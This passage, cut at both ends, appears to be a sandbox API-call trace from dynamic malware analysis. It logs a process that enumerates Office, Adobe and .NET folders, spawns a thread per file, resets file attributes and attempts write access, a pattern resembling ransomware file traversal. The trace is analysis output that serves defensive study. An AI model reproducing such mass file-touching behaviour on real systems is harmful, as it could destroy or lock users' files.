ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8bee, dwReserved0=0x0, dwReserved1=0x0, cFileName="YEAR.XSL", cAlternateFileName="")) returned 1 [0066.001] wcscmp (_String1="YEAR.XSL", _String2=".") returned 1 [0066.001] wcscmp (_String1="YEAR.XSL", _String2="..") returned 1 [0066.001] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x97ab2f0 [0066.001] wcscpy (in: _Dest=0x97ab2f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" [0066.001] wcscat (in: _Dest=0x97ab2f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\" [0066.001] wcscat (in: _Dest=0x97ab2f0, _Source="YEAR.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\YEAR.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\YEAR.XSL" [0066.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ab2f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1798 [0066.002] FindNextFileW (in: hFindFile=0x4a6360, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8bee, dwReserved0=0x0, dwReserved1=0x0, cFileName="YEAR.XSL", cAlternateFileName="")) returned 0 [0066.002] FindClose (in: hFindFile=0x4a6360 | out: hFindFile=0x4a6360) returned 1 [0066.003] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42d850) returned 1 [0066.003] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f9900) returned 1 [0066.003] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447760) returned 1 Thread: id = 1182 os_tid = 0x90c [0062.019] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x5ec6ea0 [0062.019] wcscpy (in: _Dest=0x5ec6ea0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" [0062.019] wcscat (in: _Dest=0x5ec6ea0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" [0062.019] wcscat (in: _Dest=0x5ec6ea0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\*" [0062.019] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42f530 [0062.019] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\*", lpFindFileData=0x42f530 | out: lpFindFileData=0x42f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6620 [0063.812] wcscmp (_String1=".", _String2=".") returned 0 [0063.812] FindNextFileW (in: hFindFile=0x4a6620, lpFindFileData=0x42f530 | out: lpFindFileData=0x42f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.812] wcscmp (_String1="..", _String2=".") returned 1 [0063.812] wcscmp (_String1="..", _String2="..") returned 0 [0063.812] FindNextFileW (in: hFindFile=0x4a6620, lpFindFileData=0x42f530 | out: lpFindFileData=0x42f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9eed00, ftCreationTime.dwHighDateTime=0x1ca5c5e, ftLastAccessTime.dwLowDateTime=0x51448270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9eed00, ftLastWriteTime.dwHighDateTime=0x1ca5c5e, nFileSizeHigh=0x0, nFileSizeLow=0x5cd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="APA.XSL", cAlternateFileName="")) returned 1 [0063.812] wcscmp (_String1="APA.XSL", _String2=".") returned 1 [0063.812] wcscmp (_String1="APA.XSL", _String2="..") returned 1 [0063.812] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x439ce0 [0063.812] wcscpy (in: _Dest=0x439ce0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" [0063.812] wcscat (in: _Dest=0x439ce0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" [0063.812] wcscat (in: _Dest=0x439ce0, _Source="APA.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\APA.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\APA.XSL" Thread: id = 1183 os_tid = 0xb5c [0062.021] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip")) returned 0x2020 [0062.022] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", dwFileAttributes=0x20) Thread: id = 1184 os_tid = 0xe70 [0062.022] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\readermessages")) returned 0x2020 [0062.022] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", dwFileAttributes=0x20) Thread: id = 1185 os_tid = 0x1008 [0062.023] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x96) returned 0x5ec5548 [0062.023] wcscpy (in: _Dest=0x5ec5548, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search" [0062.023] wcscat (in: _Dest=0x5ec5548, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\" [0062.023] wcscat (in: _Dest=0x5ec5548, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\*" [0062.023] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4303a0 [0062.023] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\*", lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6660 [0063.813] wcscmp (_String1=".", _String2=".") returned 0 [0063.813] FindNextFileW (in: hFindFile=0x4a6660, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.813] wcscmp (_String1="..", _String2=".") returned 1 [0063.813] wcscmp (_String1="..", _String2="..") returned 0 [0063.813] FindNextFileW (in: hFindFile=0x4a6660, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0063.813] FindClose (in: hFindFile=0x4a6660 | out: hFindFile=0x4a6660) returned 1 [0063.813] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4303a0) returned 1 [0063.813] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec5548) returned 1 [0063.813] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec4d28) returned 1 Thread: id = 1186 os_tid = 0x1118 [0062.024] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\frameworklist.xml")) returned 0x20 [0062.024] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml", dwFileAttributes=0x20) returned 0 [0062.025] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\frameworklist.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0062.025] GetLastError () returned 0x5 [0062.025] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml", dwFileAttributes=0x20) returned 0 [0062.025] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00950) returned 1 Thread: id = 1187 os_tid = 0x1120 [0062.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd")) Thread: id = 1188 os_tid = 0x1128 [0062.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl")) Thread: id = 1189 os_tid = 0x112c [0062.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl")) Thread: id = 1190 os_tid = 0x1130 [0062.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_INIT.XSN" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_init.xsn")) Thread: id = 1191 os_tid = 0x1134 [0062.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_review.xsn")) Thread: id = 1192 os_tid = 0x1138 [0062.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll")) Thread: id = 1193 os_tid = 0x113c [0062.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd")) Thread: id = 1194 os_tid = 0x1140 [0062.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs")) Thread: id = 1195 os_tid = 0x1144 [0062.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc")) Thread: id = 1196 os_tid = 0x1148 [0062.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt")) Thread: id = 1197 os_tid = 0x114c [0062.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk")) Thread: id = 1198 os_tid = 0x1150 [0062.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk")) Thread: id = 1199 os_tid = 0x1154 [0062.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs")) Thread: id = 1200 os_tid = 0x1158 [0062.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc")) Thread: id = 1201 os_tid = 0x115c [0062.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt")) Thread: id = 1202 os_tid = 0x11ec [0062.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk")) Thread: id = 1203 os_tid = 0x11f0 [0062.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk")) Thread: id = 1204 os_tid = 0x11fc [0062.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.XLA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.xla")) Thread: id = 1205 os_tid = 0x126c [0062.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl")) Thread: id = 1206 os_tid = 0x12dc [0063.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd")) Thread: id = 1207 os_tid = 0x1408 [0063.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx")) Thread: id = 1208 os_tid = 0x140c [0063.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx")) Thread: id = 1209 os_tid = 0x1410 [0063.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx")) Thread: id = 1210 os_tid = 0x1414 [0063.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx")) Thread: id = 1211 os_tid = 0x1418 [0063.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx")) Thread: id = 1212 os_tid = 0x141c [0063.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx")) Thread: id = 1213 os_tid = 0x1420 [0063.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx")) Thread: id = 1214 os_tid = 0x1424 [0063.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx")) Thread: id = 1215 os_tid = 0x1428 [0063.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx")) Thread: id = 1216 os_tid = 0x142c [0063.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx")) Thread: id = 1217 os_tid = 0x1430 [0063.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx")) Thread: id = 1218 os_tid = 0x1434 [0063.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx")) Thread: id = 1219 os_tid = 0x1438 [0063.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx")) Thread: id = 1220 os_tid = 0x143c [0063.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx")) Thread: id = 1221 os_tid = 0x1440 [0063.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx")) Thread: id = 1222 os_tid = 0x1444 [0063.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx")) Thread: id = 1223 os_tid = 0x1448 [0063.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx")) Thread: id = 1224 os_tid = 0x144c [0063.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx")) Thread: id = 1225 os_tid = 0x1450 [0063.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx")) Thread: id = 1226 os_tid = 0x1454 [0063.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx")) Thread: id = 1227 os_tid = 0x1458 [0063.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx")) Thread: id = 1228 os_tid = 0x145c [0063.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx")) Thread: id = 1229 os_tid = 0x1460 [0063.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx")) Thread: id = 1230 os_tid = 0x1464 [0063.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx")) Thread: id = 1231 os_tid = 0x1468 [0063.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx")) Thread: id = 1232 os_tid = 0x146c [0063.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx")) Thread: id = 1233 os_tid = 0x1470 [0063.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx")) Thread: id = 1234 os_tid = 0x1474 [0065.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx")) Thread: id = 1235 os_tid = 0x1480 [0065.326] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl")) Thread: id = 1236 os_tid = 0x1484 [0065.327] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) Thread: id = 1237 os_tid = 0x1488 [0065.329] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) Thread: id = 1238 os_tid = 0x148c [0065.330] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) Thread: id = 1239 os_tid = 0x1490 [0065.331] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) Thread: id = 1240 os_tid = 0x1494 [0065.331] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) Thread: id = 1241 os_tid = 0x1498 [0065.332] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) Thread: id = 1242 os_tid = 0x149c [0065.333] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) Thread: id = 1243 os_tid = 0x14a0 [0065.333] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts\\jsbytecodewin.bin")) returned 0x20 [0065.333] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", dwFileAttributes=0x20) Thread: id = 1244 os_tid = 0x14a4 [0065.334] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\DEXShare.spi" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\dexshare.spi")) Thread: id = 1245 os_tid = 0x14a8 [0065.334] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\Services.cfg" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\services.cfg")) Thread: id = 1246 os_tid = 0x14ac [0065.335] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\zh_tw\\reader_10.0.helpcfg")) returned 0x20 [0065.335] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\Reader_10.0.helpcfg", dwFileAttributes=0x20) Thread: id = 1247 os_tid = 0x14b0 [0065.335] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ko_kr\\reader_10.0.helpcfg")) returned 0x20 [0065.335] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\Reader_10.0.helpcfg", dwFileAttributes=0x20) Thread: id = 1248 os_tid = 0x14b4 [0065.338] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\nl_nl\\reader_10.0.helpcfg")) returned 0x20 [0065.338] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\Reader_10.0.helpcfg", dwFileAttributes=0x20) Thread: id = 1249 os_tid = 0x14b8 [0065.340] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common 